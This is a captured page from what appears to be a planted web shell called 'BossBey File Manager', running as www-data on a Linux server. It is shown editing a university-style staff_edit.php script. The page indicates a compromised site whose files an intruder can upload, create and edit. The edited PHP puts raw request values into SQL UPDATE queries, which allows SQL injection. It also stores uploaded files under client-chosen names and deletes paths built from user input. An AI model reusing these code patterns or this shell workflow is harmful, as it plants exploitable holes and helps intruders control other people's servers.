BossBey File Manager
PHP:
7.3.31-1~deb10u1
OS:
Linux
User:
www-data
Root
/
home
/
www
/
inorg
/
coord_old
/
script
📤 Upload
рџ“ќ New File
рџ“Ѓ New Folder
Close
Editing: staff_edit.php
<?php include_once("../auth_incl.php"); include_once("../db_connect_incl.php"); include_once("../settings_incl.php"); if ($rez>=50) { $id=$HTTP_GET_VARS['id']; $fname=$HTTP_POST_VARS['fname']; $name=$HTTP_POST_VARS['name']; $sname=$HTTP_POST_VARS['sname']; $rank=$HTTP_POST_VARS['rank']; $title=$HTTP_POST_VARS['title']; $faculty=$HTTP_POST_VARS['faculty'.$rank]; $group=$HTTP_POST_VARS['group']; $year=$HTTP_POST_VARS['year'.$rank]; $degree=$HTTP_POST_VARS['degree']; $lab_head=$HTTP_POST_VARS['lab_head']; $deputy_lab_head=$HTTP_POST_VARS['deputy_lab_head']; $group_head=$HTTP_POST_VARS['group_head']; $science_group=$HTTP_POST_VARS['science_group']; $chief=$HTTP_POST_VARS['chief']; $day=$HTTP_POST_VARS['day']; $month=$HTTP_POST_VARS['month']; $byear=$HTTP_POST_VARS['byear']; $birth=$byear.'-'.$month.'-'.$day; $about=$HTTP_POST_VARS['about']; $filefoto=$HTTP_POST_FILES['foto']; $delfoto=$HTTP_POST_VARS['delfoto']; $oldfoto=$HTTP_POST_VARS['oldfoto']; if ($delfoto==1) { unlink("../images/staff/".$id."/".$oldfoto); rmdir("../images/staff/".$id); $foto="Фотография отсутствует"; } elseif ($filefoto['name']!='') { if ($oldfoto!='Фотография отсутствует') { unlink("../images/staff/".$id."/".$oldfoto); } else { mkdir("../images/staff/$id/", 0775); } copy ($filefoto['tmp_name'], "../images/staff/$id/".$filefoto['name']); $foto=$filefoto['name']; } else { $foto="Фотография отсутствует"; } /*echo $fname; echo $name; echo $sname; echo $rank; echo $title; echo $faculty; echo $group; echo $year; echo $degree; echo $lab_head; echo $deputy_lab_head; echo $group_head; echo $science_group; echo $chief; echo $birth; echo $foto['name']; echo $about;*/ if ($rank==1) { $sql_query="update staff set `fname`='$fname', `name`='$name', `sname`='$sname', `science_group`='$science_group', `rank`=$rank, `title`='$title', `degree`='', `year`=$year, `faculty`='$faculty', `group`='$group', `chief`='$chief', `birth`='$birth', `foto`='$foto', `about`='$about', `lab_head`='', `deputy_lab_head`='', `group_head`='' where id=$id;"; } if ($rank==2) { $sql_query="update staff set `fname`='$fname', `name`='$name', `sname`='$sname', `science_group`='$science_group', `rank`=$rank, `title`='$title', `degree`='', `year`=$year, `faculty`='$faculty', `group`='', `chief`='$chief', `birth`='$birth', `foto`='$foto', `about`='$about', `lab_head`='', `deputy_lab_head`='', `group_head`='' where id=$id;"; } if ($rank==3) { $sql_query="update staff set `fname`='$fname', `name`='$name', `sname`='$sname', `science_group`='$science_group', `rank`=$rank, `title`='$title', `degree`='$degree', `year`='', `faculty`='', `group`='', `chief`='', `birth`='$birth', `foto`='$foto', `about`='$about', `lab_head`='$lab_head', `deputy_lab_head`='$deputy_lab_head', `group_head`='$group_head' where id=$id;"; } mysql_query($sql_query); //echo $sql_query; } Header("Location:http://$domain/index.php?section=2&show=0$add"); ?>
Save
Cancel